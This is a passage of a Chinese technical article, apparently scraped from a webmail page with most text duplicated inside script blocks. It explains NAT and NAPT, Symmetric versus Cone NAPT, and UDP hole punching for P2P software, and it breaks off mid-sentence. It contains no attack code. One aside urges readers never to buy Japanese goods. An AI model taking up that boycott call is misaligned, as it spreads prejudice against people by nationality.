<P>源码下载: <A onclick="return top.js.OpenExtLink(window,event,this)" href="http://www.ppcn.net/upload/2005_08/05080112299104.rar" target=_blank rel=nofollow>http://www.ppcn.net/upload<WBR></WBR>/2005_08/05080112299104.rar</A> 参考： <A onclick="return top.js.OpenExtLink(window,event,this)" href="http://midcom-p2p.sourceforge.net/draft-ford-midcom-p2p-01.txt" target=_blank rel=nofollow>http://midcom-p2p.sourceforge<WBR></WBR>.net/draft-ford-midcom-p2p-01<WBR></WBR>.txt</A> </P>
<P>P2P之UDP穿透NAT的原理与实现(shootingstar<WBR></WBR>s) </P>
<P>文章说明: </P>
<P>关于UDP穿透NAT的中文资料在网络上是很少的，仅有&lt;<WBR></WBR>&lt;P2P之UDP穿透NAT的原理与实现(shootingsta<WBR></WBR>rs)&gt;&gt;这篇文章有实际的参考价值。本人近两年来也一直从事P2<WBR></WBR>P方面的开发工作，比较有代表性的是个人开发的BitTorren<WBR></WBR>t下载软件 - FlashBT(变态快车). 对P2P下载或者P2P的开发感兴趣的朋友可以访问软件的官方主页<WBR></WBR>: <A onclick="return top.js.OpenExtLink(window,event,this)" href="http://www.hwysoft.com/chs/" target=_blank rel=nofollow>http://www.hwysoft.com/chs/</A> 下载看看，说不定有收获。写这篇文章的主要目的是懒的再每次单独回<WBR></WBR>答一些网友的提问, 一次性写下来, 即节省了自己的时间，也方便了对于P2P的UDP穿透感兴趣的网友<WBR></WBR>阅读和理解。对此有兴趣和经验的朋友可以给我发邮件或者访问我的个<WBR></WBR>人Blog留言: <A onclick="return top.js.OpenExtLink(window,event,this)" href="http://hwycheng.blogchina.com/" target=_blank rel=nofollow>http://hwycheng.blogchina.com</A>. 您可以自由转载此篇文章，但是请保留此说明。 </P>
<P>再次感谢shootingstars网友的早期贡献. 表示谢意。 </P>
<HR>

<P>NAT(The IP Network Address Translator) 的概念和意义是什么? </P>
<P>NAT, 中文翻译为网络地址转换。具体的详细信息可以访问<A title=http://www.faqs.org/rfcs/rfc1631.html onclick="return top.js.OpenExtLink(window,event,this)" href="http://www.faqs.org/rfcs/rfc1631.html" target=_blank>RFC 1631</A> - <A onclick="return top.js.OpenExtLink(window,event,this)" href="http://www.faqs.org/rfcs/rfc1631.html" target=_blank rel=nofollow>http://www.faqs.org/rfcs<WBR></WBR>/rfc1631.html</A>, 这是对于NAT的定义和解释的最权威的描述。网络术语都是很抽象和<WBR></WBR>艰涩的，除非是专业人士，否则很难从字面中来准确理解NAT的含义<WBR></WBR>。 </P>
<P>要想完全明白NAT 的作用，我们必须理解IP地址的两大分类，一类是私有IP地址<WBR></WBR>，在这里我们称作内网IP地址。一类是非私有的IP地址<WBR></WBR>，在这里我们称作公网IP地址。关于IP地址的概念和作用的介绍参<WBR></WBR>见我的另一篇文章: <A onclick="return top.js.OpenExtLink(window,event,this)" href="http://hwycheng.blogchina.com/2402121.html" target=_blank rel=nofollow>
<SCRIPT type=text/javascript>
&lt;!--
D(["mb","http://hwycheng.blogchina.com&lt;WBR&gt;/2402121.html\n&lt;/a&gt; &lt;/p&gt;\n&lt;p&gt;内网IP地址: 是指使用A/B/C类中的私有地址, 分配的IP地址在全球不惧有唯一性，也因此无法被其它外网主机直接&lt;WBR&gt;访问。公网IP地址: 是指具有全球唯一的IP地址，能够直接被其它主机访问的。 &lt;/p&gt;\n&lt;p&gt;NAT 最初的目的是为使用内网IP地址的计算机提供通过少数几台具有公网&lt;WBR&gt;的IP地址的计算机访问外部网络的功能。NAT 负责将某些内网IP地址的计算机向外部网络发出的IP数据包的源I&lt;WBR&gt;P地址转换为NAT自己的公网的IP地址，目的IP地址不变, 并将IP数据包转发给路由器，最终到达外部的计算机&lt;WBR&gt;。同时负责将外部的计算机返回的IP数据包的目的IP地址转换为内&lt;WBR&gt;网的IP地址，源IP地址不变，并最终送达到内网中的计算机。 &lt;/p&gt;\n&lt;p&gt;&lt;br&gt;图一: NAT 实现了私有IP的计算机分享几个公网IP地址访问Internet&lt;WBR&gt;的功能。 &lt;/p&gt;\n&lt;p&gt;随着网络的普及，IPv4的局限性暴露出来。公网IP地址成为一种&lt;WBR&gt;稀缺的资源，此时NAT 的功能局限也暴露出来，同一个公网的IP地址，某个时间只能由一台&lt;WBR&gt;私有IP地址的计算机使用。于是NAPT(The IP Network Address/Port Translator)应运而生，NAPT实现了多台私有IP地址&lt;WBR&gt;的计算机可以同时通过一个公网IP地址来访问Internet的功&lt;WBR&gt;能。这在很大程度上暂时缓解了IPv4地址资源的紧张。 &lt;/p&gt;\n&lt;p&gt;NAPT 负责将某些内网IP地址的计算机向外部网络发出的TCP&lt;WBR&gt;/UDP数据包的源IP地址转换为NAPT自己的公网的IP地址&lt;WBR&gt;，源端口转为NAPT自己的一个端口。目的IP地址和端口不变, 并将IP数据包发给路由器，最终到达外部的计算机&lt;WBR&gt;。同时负责将外部的计算机返回的IP数据包的目的IP地址转换内网&lt;WBR&gt;的IP地址，目的端口转为内网计算机的端口，源IP地址和源端口不&lt;WBR&gt;变，并最终送达到内网中的计算机。 &lt;/p&gt;\n&lt;p&gt;图二: NAPT 实现了私有IP的计算机分享一个公网IP地址访问Internet&lt;WBR&gt;的功能。 &lt;/p&gt;\n&lt;p&gt;在我们的工作和生活中, NAPT的作用随处可见，绝大部分公司的网络架构&lt;WBR&gt;，都是通过1至N台支持NAPT的路由器来实现公司的所有计算机连&lt;WBR&gt;接外部的Internet网络的。包括本人在写这篇文章的时候&lt;WBR&gt;，也是在家中使用一台IBM笔记本通过一台宽带连接的台式机来访问&lt;WBR&gt;Internet的。我们本篇文章主要讨论的NAPT的问题。 &lt;/p&gt;\n&lt;p&gt;NAPT(The IP Network Address/Port Translator) 为何阻碍了P2P软件的应用? &lt;/p&gt;\n&lt;p&gt;通过NAPT 上网的特点决定了只能由NAPT内的计算机主动向NAPT外部的主&lt;WBR&gt;机发起连接，外部的主机想直接和NAPT内的计算机直接建立连接是&lt;WBR&gt;不被允许的。IM(即时通讯)而言，这意味着由于NAPT内的计算&lt;WBR&gt;机和NAPT外的计算机只能通过服务器中转数据来进行通讯&lt;WBR&gt;。对于P2P方式的下载程序而言，意味着NAPT内的计算机不能接&lt;WBR&gt;收到NAPT外部的连接，导致连接数用过少，下载速度很难上去&lt;WBR&gt;。因此P2P软件必须要解决的一个问题就是要能够在一定的程度上解&lt;WBR&gt;决NAPT内的计算机不能被外部连接的问题。 \n&lt;/p&gt;\n&lt;p&gt;NAT(The IP Network Address Translator) 进行UDP穿透的原理是什么? &lt;/p&gt;\n&lt;p&gt;TCP/IP传输时主要用到TCP和UDP协议。TCP协议是可靠&lt;WBR&gt;的，面向连接的传输协议。UDP是不可靠的，无连接的协议&lt;WBR&gt;。根据TCP和UDP协议的实现原理，对于NAPT来进行穿透&lt;WBR&gt;，主要是指的UDP协议。TCP协议也有可能，但是可行性非常小&lt;WBR&gt;，要求更高，我们此处不作讨论，如果感兴趣可以到Google上搜&lt;WBR&gt;索，有些文章对这个问题做了探讨性的描述。下面我们来看看利用UD&lt;WBR&gt;P协议来穿透NAPT的原理是什么: &lt;/p&gt;\n&lt;p&gt;&lt;br&gt;图三: NAPT 是如何将私有IP地址的UDP数据包与公网主机进行透明传输的。 &lt;/p&gt;\n&lt;p&gt;UDP协议包经NAPT透明传输的说明: &lt;/p&gt;\n&lt;p&gt;NAPT为每一个Session分配一个NAPT自己的端口号&lt;WBR&gt;，依据此端口号来判断将收到的公网IP主机返回的TCP&lt;WBR&gt;/IP数据包转发给那台内网IP地址的计算机。在这里Sessio&lt;WBR&gt;n是虚拟的，UDP通讯并不需要建立连接，但是对于NAPT而言&lt;WBR&gt;，的确要有一个Session的概念存在。NAPT对于UDP协议",1]
);

//--&gt;
</SCRIPT>
http://hwycheng.blogchina.com<WBR></WBR>/2402121.html </A></P>
<P>内网IP地址: 是指使用A/B/C类中的私有地址, 分配的IP地址在全球不惧有唯一性，也因此无法被其它外网主机直接<WBR></WBR>访问。公网IP地址: 是指具有全球唯一的IP地址，能够直接被其它主机访问的。 </P>
<P>NAT 最初的目的是为使用内网IP地址的计算机提供通过少数几台具有公网<WBR></WBR>的IP地址的计算机访问外部网络的功能。NAT 负责将某些内网IP地址的计算机向外部网络发出的IP数据包的源I<WBR></WBR>P地址转换为NAT自己的公网的IP地址，目的IP地址不变, 并将IP数据包转发给路由器，最终到达外部的计算机<WBR></WBR>。同时负责将外部的计算机返回的IP数据包的目的IP地址转换为内<WBR></WBR>网的IP地址，源IP地址不变，并最终送达到内网中的计算机。 </P>
<P><BR>图一: NAT 实现了私有IP的计算机分享几个公网IP地址访问Internet<WBR></WBR>的功能。 </P>
<P>随着网络的普及，IPv4的局限性暴露出来。公网IP地址成为一种<WBR></WBR>稀缺的资源，此时NAT 的功能局限也暴露出来，同一个公网的IP地址，某个时间只能由一台<WBR></WBR>私有IP地址的计算机使用。于是NAPT(The IP Network Address/Port Translator)应运而生，NAPT实现了多台私有IP地址<WBR></WBR>的计算机可以同时通过一个公网IP地址来访问Internet的功<WBR></WBR>能。这在很大程度上暂时缓解了IPv4地址资源的紧张。 </P>
<P>NAPT 负责将某些内网IP地址的计算机向外部网络发出的TCP<WBR></WBR>/UDP数据包的源IP地址转换为NAPT自己的公网的IP地址<WBR></WBR>，源端口转为NAPT自己的一个端口。目的IP地址和端口不变, 并将IP数据包发给路由器，最终到达外部的计算机<WBR></WBR>。同时负责将外部的计算机返回的IP数据包的目的IP地址转换内网<WBR></WBR>的IP地址，目的端口转为内网计算机的端口，源IP地址和源端口不<WBR></WBR>变，并最终送达到内网中的计算机。 </P>
<P>图二: NAPT 实现了私有IP的计算机分享一个公网IP地址访问Internet<WBR></WBR>的功能。 </P>
<P>在我们的工作和生活中, NAPT的作用随处可见，绝大部分公司的网络架构<WBR></WBR>，都是通过1至N台支持NAPT的路由器来实现公司的所有计算机连<WBR></WBR>接外部的Internet网络的。包括本人在写这篇文章的时候<WBR></WBR>，也是在家中使用一台IBM笔记本通过一台宽带连接的台式机来访问<WBR></WBR>Internet的。我们本篇文章主要讨论的NAPT的问题。 </P>
<P>NAPT(The IP Network Address/Port Translator) 为何阻碍了P2P软件的应用? </P>
<P>通过NAPT 上网的特点决定了只能由NAPT内的计算机主动向NAPT外部的主<WBR></WBR>机发起连接，外部的主机想直接和NAPT内的计算机直接建立连接是<WBR></WBR>不被允许的。IM(即时通讯)而言，这意味着由于NAPT内的计算<WBR></WBR>机和NAPT外的计算机只能通过服务器中转数据来进行通讯<WBR></WBR>。对于P2P方式的下载程序而言，意味着NAPT内的计算机不能接<WBR></WBR>收到NAPT外部的连接，导致连接数用过少，下载速度很难上去<WBR></WBR>。因此P2P软件必须要解决的一个问题就是要能够在一定的程度上解<WBR></WBR>决NAPT内的计算机不能被外部连接的问题。 </P>
<P>NAT(The IP Network Address Translator) 进行UDP穿透的原理是什么? </P>
<P>TCP/IP传输时主要用到TCP和UDP协议。TCP协议是可靠<WBR></WBR>的，面向连接的传输协议。UDP是不可靠的，无连接的协议<WBR></WBR>。根据TCP和UDP协议的实现原理，对于NAPT来进行穿透<WBR></WBR>，主要是指的UDP协议。TCP协议也有可能，但是可行性非常小<WBR></WBR>，要求更高，我们此处不作讨论，如果感兴趣可以到Google上搜<WBR></WBR>索，有些文章对这个问题做了探讨性的描述。下面我们来看看利用UD<WBR></WBR>P协议来穿透NAPT的原理是什么: </P>
<P><BR>图三: NAPT 是如何将私有IP地址的UDP数据包与公网主机进行透明传输的。 </P>
<P>UDP协议包经NAPT透明传输的说明: </P>
<P>NAPT为每一个Session分配一个NAPT自己的端口号<WBR></WBR>，依据此端口号来判断将收到的公网IP主机返回的TCP<WBR></WBR>/IP数据包转发给那台内网IP地址的计算机。在这里Sessio<WBR></WBR>n是虚拟的，UDP通讯并不需要建立连接，但是对于NAPT而言<WBR></WBR>，的确要有一个Session的概念存在。NAPT对于UDP协议
<SCRIPT type=text/javascript>
&lt;!--
D(["mb","&lt;WBR&gt;包的透明传输面临的一个重要的问题就是如何处理这个虚拟的Sess&lt;WBR&gt;ion。我们都知道TCP连接的Session以SYN包开始&lt;WBR&gt;，以FIN包结束，NAPT可以很容易的获取到TCP Session的生命周期，并进行处理。但是对于UDP而言&lt;WBR&gt;，就麻烦了，NAPT并不知道转发出去的UDP协议包是否到达了目&lt;WBR&gt;的主机，也没有办法知道。而且鉴于UDP协议的特点，可靠很差&lt;WBR&gt;，因此NAPT必须强制维持Session的存在&lt;WBR&gt;，以便等待将外部送回来的数据并转发给曾经发起请求的内网IP地址&lt;WBR&gt;的计算机。NAPT具体如何处理UDP Session的超时呢？不同的厂商提供的设备对于NAPT的实现&lt;WBR&gt;不近相同，也许几分钟，也许几个小时，些NAPT的实现还会根据设&lt;WBR&gt;备的忙碌状态进行智能计算超时时间的长短。 \n&lt;/p&gt;\n&lt;p&gt;&lt;br&gt;图四: NAPT 将内部发出的UDP协议包的源地址和源端口改变传输给公网IP主机&lt;WBR&gt;。 &lt;/p&gt;\n&lt;p&gt;图五: NAPT 将收到的公网IP主机返回的UDP协议包的目的地址和目的端口改变&lt;WBR&gt;传输给内网IP计算机现在我们大概明白了NAPT如何实现内网计算&lt;WBR&gt;机和外网主机间的透明通讯。现在来看一下我们最关心的问题&lt;WBR&gt;，就是NAPT是依据什么策略来判断是否要为一个请求发出的UDP&lt;WBR&gt;数据包建立Session的呢？主要有一下几个策略: &lt;/p&gt;\n&lt;p&gt;A. 源地址(内网IP地址)不同，忽略其它因素, 在NAPT上肯定对应不同的Session B. 源地址(内网IP地址)相同，源端口不同，忽略其它的因素&lt;WBR&gt;，则在NAPT上也肯定对应不同的Session C. 源地址(内网IP地址)相同，源端口相同，目的地址&lt;WBR&gt;(公网IP地址)相同，目的端口不同，则在NAPT上肯定对应同一&lt;WBR&gt;个Session D. 源地址(内网IP地址)相同，源端口相同，目的地址&lt;WBR&gt;(公网IP地址)不同，忽略目的端口，则在NAPT上是如何处理S&lt;WBR&gt;ession的呢？ \n&lt;/p&gt;\n&lt;p&gt;D的情况正式我们关心和要讨论的问题。依据目的地址&lt;WBR&gt;(公网IP地址)对于Session的建立的决定方式我们将NAP&lt;WBR&gt;T设备划分为两大类: &lt;/p&gt;\n&lt;p&gt;Symmetric NAPT: 对于到同一个IP地址，任意端口的连接分配使用同一个Sessio&lt;WBR&gt;n; 对于到不同的IP地址, 任意端口的连接使用不同的Session. 我们称此种NAPT为 Symmetric NAPT. 也就是只要本地绑定的UDP端口相同， 发出的目的IP地址不同，则会建立不同的Session. &lt;/p&gt;\n&lt;p&gt;&lt;br&gt;图六: Symmetric 的英文意思是对称。多个端口对应多个主机，平行的，对称的! &lt;/p&gt;\n&lt;p&gt;Cone NAPT: 对于到同一个IP地址，任意端口的连接分配使用同一个Sessio&lt;WBR&gt;n; 对于到不同的IP地址，任意端口的连接也使用同一个Session&lt;WBR&gt;. 我们称此种NAPT为 Cone NAPT. 也就是只要本地绑定的UDP端口相同， 发出的目的地址不管是否相同， 都使用同一个Session. &lt;/p&gt;\n&lt;p&gt;&lt;br&gt;图七: Cone 的英文意思是锥。一个端口对应多个主机，是不是像个锥子? &lt;/p&gt;\n&lt;p&gt;现在绝大多数的NAPT属于后者，即Cone NAT。本人在测试的过程中，只好使用了一台日本的Symmetr&lt;WBR&gt;ic NAT。还好不是自己的买的，我从不买日货, 希望看这篇文章的朋友也自觉的不要购买日本的东西。Win9x&lt;WBR&gt;/2K/XP/2003系统自带的NAPT也是属于 Cone NAT的。这是值的庆幸的，因为我们要做的UDP穿透只能在Con&lt;WBR&gt;e NAT间进行，只要有一台不是Cone NAT，对不起，UDP穿透没有希望了，服务器转发吧&lt;WBR&gt;。后面会做详细分析! \n&lt;/p&gt;\n&lt;p&gt;下面我们再来分析一下NAPT 工作时的一些数据结构，在这里我们将真正说明UDP可以穿透Con&lt;WBR&gt;e NAT的依据。这里描述的数据结构只是为了说明原理&lt;WBR&gt;，不具有实际参考价值，真正感兴趣可以阅读Linux的中关于NA&lt;WBR&gt;T实现部分的源码。真正的NAT实现也没有利用数据库的，呵呵&lt;WBR&gt;，为了速度！ &lt;/p&gt;\n&lt;p&gt;Symmetric NAPT 工作时的端口映射数据结构如下: &lt;/p&gt;\n&lt;p&gt;内网信息表: &lt;/p&gt;\n&lt;p&gt;[NAPT 分配端口] [ 内网IP地址 ] [ 内网端口 ] [ 外网IP地址 ] [ SessionTime 开始时间 ] &lt;/p&gt;\n&lt;p&gt;PRIMARY KEY( [NAPT 分配端口] ) -&gt; 表示依据[NAPT 分配端口]建立主键，必须唯一且建立索引，加快查找. UNIQUE( [ 内网IP地址 ], [ 内网端口 ] ) -&gt; 表示这两个字段联合起来不能重复. UNIQUE( [ 内网IP地址 ], [ 内网端口 ], [ 外网IP地址 ] ) -&gt; 表示这三个字段联合起来不能重复. ",1]
);

//--&gt;
</SCRIPT>
 <WBR></WBR>包的透明传输面临的一个重要的问题就是如何处理这个虚拟的Sess<WBR></WBR>ion。我们都知道TCP连接的Session以SYN包开始<WBR></WBR>，以FIN包结束，NAPT可以很容易的获取到TCP Session的生命周期，并进行处理。但是对于UDP而言<WBR></WBR>，就麻烦了，NAPT并不知道转发出去的UDP协议包是否到达了目<WBR></WBR>的主机，也没有办法知道。而且鉴于UDP协议的特点，可靠很差<WBR></WBR>，因此NAPT必须强制维持Session的存在<WBR></WBR>，以便等待将外部送回来的数据并转发给曾经发起请求的内网IP地址<WBR></WBR>的计算机。NAPT具体如何处理UDP Session的超时呢？不同的厂商提供的设备对于NAPT的实现<WBR></WBR>不近相同，也许几分钟，也许几个小时，些NAPT的实现还会根据设<WBR></WBR>备的忙碌状态进行智能计算超时时间的长短。 </P>
<P><BR>图四: NAPT 将内部发出的UDP协议包的源地址和源端口改变传输给公网IP主机<WBR></WBR>。 </P>
<P>图五: NAPT 将收到的公网IP主机返回的UDP协议包的目的地址和目的端口改变<WBR></WBR>传输给内网IP计算机现在我们大概明白了NAPT如何实现内网计算<WBR></WBR>机和外网主机间的透明通讯。现在来看一下我们最关心的问题<WBR></WBR>，就是NAPT是依据什么策略来判断是否要为一个请求发出的UDP<WBR></WBR>数据包建立Session的呢？主要有一下几个策略: </P>
<P>A. 源地址(内网IP地址)不同，忽略其它因素, 在NAPT上肯定对应不同的Session B. 源地址(内网IP地址)相同，源端口不同，忽略其它的因素<WBR></WBR>，则在NAPT上也肯定对应不同的Session C. 源地址(内网IP地址)相同，源端口相同，目的地址<WBR></WBR>(公网IP地址)相同，目的端口不同，则在NAPT上肯定对应同一<WBR></WBR>个Session D. 源地址(内网IP地址)相同，源端口相同，目的地址<WBR></WBR>(公网IP地址)不同，忽略目的端口，则在NAPT上是如何处理S<WBR></WBR>ession的呢？ </P>
<P>D的情况正式我们关心和要讨论的问题。依据目的地址<WBR></WBR>(公网IP地址)对于Session的建立的决定方式我们将NAP<WBR></WBR>T设备划分为两大类: </P>
<P>Symmetric NAPT: 对于到同一个IP地址，任意端口的连接分配使用同一个Sessio<WBR></WBR>n; 对于到不同的IP地址, 任意端口的连接使用不同的Session. 我们称此种NAPT为 Symmetric NAPT. 也就是只要本地绑定的UDP端口相同， 发出的目的IP地址不同，则会建立不同的Session. </P>
<P><BR>图六: Symmetric 的英文意思是对称。多个端口对应多个主机，平行的，对称的! </P>
<P>Cone NAPT: 对于到同一个IP地址，任意端口的连接分配使用同一个Sessio<WBR></WBR>n; 对于到不同的IP地址，任意端口的连接也使用同一个Session<WBR></WBR>. 我们称此种NAPT为 Cone NAPT. 也就是只要本地绑定的UDP端口相同， 发出的目的地址不管是否相同， 都使用同一个Session. </P>
<P><BR>图七: Cone 的英文意思是锥。一个端口对应多个主机，是不是像个锥子? </P>
<P>现在绝大多数的NAPT属于后者，即Cone NAT。本人在测试的过程中，只好使用了一台日本的Symmetr<WBR></WBR>ic NAT。还好不是自己的买的，我从不买日货, 希望看这篇文章的朋友也自觉的不要购买日本的东西。Win9x<WBR></WBR>/2K/XP/2003系统自带的NAPT也是属于 Cone NAT的。这是值的庆幸的，因为我们要做的UDP穿透只能在Con<WBR></WBR>e NAT间进行，只要有一台不是Cone NAT，对不起，UDP穿透没有希望了，服务器转发吧<WBR></WBR>。后面会做详细分析! </P>
<P>下面我们再来分析一下NAPT 工作时的一些数据结构，在这里我们将真正说明UDP可以穿透Con<WBR></WBR>e NAT的依据。这里描述的数据结构只是为了说明原理<WBR></WBR>，不具有实际参考价值，真正感兴趣可以阅读Linux的中关于NA<WBR></WBR>T实现部分的源码。真正的NAT实现也没有利用数据库的，呵呵<WBR></WBR>，为了速度！ </P>
<P>Symmetric NAPT 工作时的端口映射数据结构如下: </P>
<P>内网信息表: </P>
<P>[NAPT 分配端口] [ 内网IP地址 ] [ 内网端口 ] [ 外网IP地址 ] [ SessionTime 开始时间 ] </P>
<P>PRIMARY KEY( [NAPT 分配端口] ) -&gt; 表示依据[NAPT 分配端口]建立主键，必须唯一且建立索引，加快查找. UNIQUE( [ 内网IP地址 ], [ 内网端口 ] ) -&gt; 表示这两个字段联合起来不能重复. UNIQUE( [ 内网IP地址 ], [ 内网端口 ], [ 外网IP地址 ] ) -&gt; 表示这三个字段联合起来不能重复.
<SCRIPT type=text/javascript>
&lt;!--
D(["mb","&lt;/p&gt;\n&lt;p&gt;映射表: &lt;/p&gt;\n&lt;p&gt;[NAPT 分配端口] [ 外网端口 ] &lt;/p&gt;\n&lt;p&gt;UNIQUE( [NAPT 分配端口], [ 外网端口 ] ) -&gt; 表示这两个字段联合起来不能重复. &lt;/p&gt;\n&lt;p&gt;Cone NAPT 工作时的端口映射数据结构如下: &lt;/p&gt;\n&lt;p&gt;内网信息表: &lt;/p&gt;\n&lt;p&gt;[NAPT 分配端口] [ 内网IP地址 ] [ 内网端口 ] [ SessionTime 开始时间 ] &lt;/p&gt;\n&lt;p&gt;PRIMARY KEY( [NAPT 分配端口] ) -&gt; 表示依据[NAPT 分配端口]建立主键，必须唯一且建立索引，加快查找. UNIQUE( [ 内网IP地址 ], [ 内网端口 ] ) -&gt; 表示这两个字段联合起来不能重复. &lt;/p&gt;\n&lt;p&gt;外网信息表: &lt;/p&gt;\n&lt;p&gt;[ wid 主键标识 ] [ 外网IP地址 ] [ 外网端口 ] &lt;/p&gt;\n&lt;p&gt;PRIMARY KEY( [ wid 主键标识 ] ) -&gt; 表示依据[ wid 主键标识 ]建立主键，必须唯一且建立索引，加快查找. UNIQUE( [ 外网IP地址 ], [ 外网端口 ] ) -&gt; 表示这两个字段联合起来不能重复. &lt;/p&gt;\n&lt;p&gt;映射表: 实现一对多，的 &lt;/p&gt;\n&lt;p&gt;[NAPT 分配端口] [ wid 主键标识 ] &lt;/p&gt;\n&lt;p&gt;UNIQUE( [NAPT 分配端口], [ wid 主键标识 ] ) -&gt; 表示这两个字段联合起来不能重复. UNIQUE( [ wid 主键标识 ] ) -&gt; 标识此字段不能重复. &lt;/p&gt;\n&lt;p&gt;看完了上面的数据结构是更明白了还是更晕了？ 呵呵! 多想一会儿就会明白了。通过NAT,内网计算机计算机向外连结是很&lt;WBR&gt;容易的，NAPT会自动处理，我们的应用程序根本不必关心它是如何&lt;WBR&gt;处理的。那么外部的计算机想访问内网中的计算机如何实现呢&lt;WBR&gt;？我们来看一下下面的流程： &lt;/p&gt;\n&lt;p&gt;c 是一台在NAPT后面的内网计算机，s是一台有外网IP地址的计算&lt;WBR&gt;机。c 主动向 s 发起连接请求，NAPT依据上面描述的规则在自己的数据结构中记录&lt;WBR&gt;下来，建立一个Session. 然后 c 和 s 之间就可以实现双向的透明的数据传输了。如下面所示: &lt;/p&gt;&lt;pre&gt;  c[&lt;a href=\"http://192.168.0.6:1827\" target=\"_blank\" onclick=\"return top.js.OpenExtLink(window,event,this)\"&gt;192.168.0.6:1827&lt;/a&gt;] &lt;-&gt; [priv ip: &lt;a href=\"http://192.168.0.1\" target=\"_blank\" onclick=\"return top.js.OpenExtLink(window,event,this)\"&gt;\n192.168.0.1&lt;/a&gt;]NAPT[pub ip: &lt;a href=\"http://61.51.99.86:9881\" target=\"_blank\" onclick=\"return top.js.OpenExtLink(window,event,this)\"&gt;61.51.99.86:9881&lt;/a&gt;] &lt;-&gt; s[&lt;a href=\"http://61.51.76.102:8098\" target=\"_blank\" onclick=\"return top.js.OpenExtLink(window,event,this)\"&gt;61.51.76.102:8098&lt;/a&gt;]\n&lt;/pre&gt;\n&lt;p&gt;由此可见，一台外网IP地址的计算机想和NAPT后面的内网计算机&lt;WBR&gt;通讯的条件就是要求NAPT后面的内网计算机主动向外网IP地址的&lt;WBR&gt;计算机发起一个UDP数据包。外网IP地址的计算机利用收到的UD&lt;WBR&gt;P数据包获取到NAPT的外网IP地址和映射的端口&lt;WBR&gt;，以后就可以和内网IP的计算机透明的进行通讯了。 &lt;/p&gt;\n&lt;p&gt;现在我们再来分析一下我们最关心的两个NAPT后面的内网计算机如&lt;WBR&gt;何实现直接通讯呢? 两者都无法主动发出连接请求，谁也不知道对方的NAPT的公网IP&lt;WBR&gt;地址和NAPT上面映射的端口号。所以我们要靠一个公网IP地址的&lt;WBR&gt;服务器帮助两者来建立连接。当两个NAPT后面的内网计算机分别连&lt;WBR&gt;接了公网IP地址的服务器后，服务器可以从收到的UDP数据包中获&lt;WBR&gt;取到这两个NAPT设备的公网IP地址和这两个连接建立的Sess&lt;WBR&gt;ion的映射端口。两个内网计算机可以从服务器上获取到对方的NA&lt;WBR&gt;PT设备公网IP地址和映射的端口了。 \n&lt;/p&gt;\n&lt;p&gt;我们假设两个内网计算机分别为A和B，对应的NAPT分别为AN和",1]
);

//--&gt;
</SCRIPT>
 </P>
<P>映射表: </P>
<P>[NAPT 分配端口] [ 外网端口 ] </P>
<P>UNIQUE( [NAPT 分配端口], [ 外网端口 ] ) -&gt; 表示这两个字段联合起来不能重复. </P>
<P>Cone NAPT 工作时的端口映射数据结构如下: </P>
<P>内网信息表: </P>
<P>[NAPT 分配端口] [ 内网IP地址 ] [ 内网端口 ] [ SessionTime 开始时间 ] </P>
<P>PRIMARY KEY( [NAPT 分配端口] ) -&gt; 表示依据[NAPT 分配端口]建立主键，必须唯一且建立索引，加快查找. UNIQUE( [ 内网IP地址 ], [ 内网端口 ] ) -&gt; 表示这两个字段联合起来不能重复. </P>
<P>外网信息表: </P>
<P>[ wid 主键标识 ] [ 外网IP地址 ] [ 外网端口 ] </P>
<P>PRIMARY KEY( [ wid 主键标识 ] ) -&gt; 表示依据[ wid 主键标识 ]建立主键，必须唯一且建立索引，加快查找. UNIQUE( [ 外网IP地址 ], [ 外网端口 ] ) -&gt; 表示这两个字段联合起来不能重复. </P>
<P>映射表: 实现一对多，的 </P>
<P>[NAPT 分配端口] [ wid 主键标识 ] </P>
<P>UNIQUE( [NAPT 分配端口], [ wid 主键标识 ] ) -&gt; 表示这两个字段联合起来不能重复. UNIQUE( [ wid 主键标识 ] ) -&gt; 标识此字段不能重复. </P>
<P>看完了上面的数据结构是更明白了还是更晕了？ 呵呵! 多想一会儿就会明白了。通过NAT,内网计算机计算机向外连结是很<WBR></WBR>容易的，NAPT会自动处理，我们的应用程序根本不必关心它是如何<WBR></WBR>处理的。那么外部的计算机想访问内网中的计算机如何实现呢<WBR></WBR>？我们来看一下下面的流程： </P>
<P>c 是一台在NAPT后面的内网计算机，s是一台有外网IP地址的计算<WBR></WBR>机。c 主动向 s 发起连接请求，NAPT依据上面描述的规则在自己的数据结构中记录<WBR></WBR>下来，建立一个Session. 然后 c 和 s 之间就可以实现双向的透明的数据传输了。如下面所示: </P><PRE>  c[<A onclick="return top.js.OpenExtLink(window,event,this)" href="http://192.168.0.6:1827/" target=_blank>192.168.0.6:1827</A>] &lt;-&gt; [priv ip: <A onclick="return top.js.OpenExtLink(window,event,this)" href="http://192.168.0.1/" target=_blank>
192.168.0.1</A>]NAPT[pub ip: <A onclick="return top.js.OpenExtLink(window,event,this)" href="http://61.51.99.86:9881/" target=_blank>61.51.99.86:9881</A>] &lt;-&gt; s[<A onclick="return top.js.OpenExtLink(window,event,this)" href="http://61.51.76.102:8098/" target=_blank>61.51.76.102:8098</A>]
</PRE>
<P>由此可见，一台外网IP地址的计算机想和NAPT后面的内网计算机<WBR></WBR>通讯的条件就是要求NAPT后面的内网计算机主动向外网IP地址的<WBR></WBR>计算机发起一个UDP数据包。外网IP地址的计算机利用收到的UD<WBR></WBR>P数据包获取到NAPT的外网IP地址和映射的端口<WBR></WBR>，以后就可以和内网IP的计算机透明的进行通讯了。 </P>
<P>现在我们再来分析一下我们最关心的两个NAPT后面的内网计算机如<WBR></WBR>何实现直接通讯呢? 两者都无法主动发出连接请求，谁也不知道对方的NAPT的公网IP<WBR></WBR>地址和NAPT上面映射的端口号。所以我们要靠一个公网IP地址的<WBR></WBR>服务器帮助两者来建立连接。当两个NAPT后面的内网计算机分别连<WBR></WBR>接了公网IP地址的服务器后，服务器可以从收到的UDP数据包中获<WBR></WBR>取到这两个NAPT设备的公网IP地址和这两个连接建立的Sess<WBR></WBR>ion的映射端口。两个内网计算机可以从服务器上获取到对方的NA<WBR></WBR>PT设备公网IP地址和映射的端口了。 </P>
<P>我们假设两个内网计算机分别为A和B，对应的NAPT分别为AN和
<SCRIPT type=text/javascript>
&lt;!--
